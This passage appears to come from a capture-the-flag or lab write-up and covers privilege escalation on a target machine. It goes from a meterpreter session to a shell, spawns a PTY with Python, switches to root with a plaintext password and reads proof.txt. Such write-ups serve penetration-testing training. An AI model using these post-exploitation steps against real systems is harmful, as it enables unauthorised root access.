2.6 Privilege Escalation



We can now switch our user to root.


meterpreter > shell


Output:
images/37-1.png

Run the following commands.

python -c 'import pty;pty.spawn("/bin/bash")'
su root
willy26


Output:
images/37-2.png

Once you are logged in as a root user, navigate yourself around and go to the root folder by typing cd /root. And there when you will use ls command, you find a proof.txt document. Upon reading it with cat command, it will show you that you have successfully pwned the machine.


cd /root
ls


Output:
images/37-3.png

cat proof.txt


Output:
images/37-4.png

Index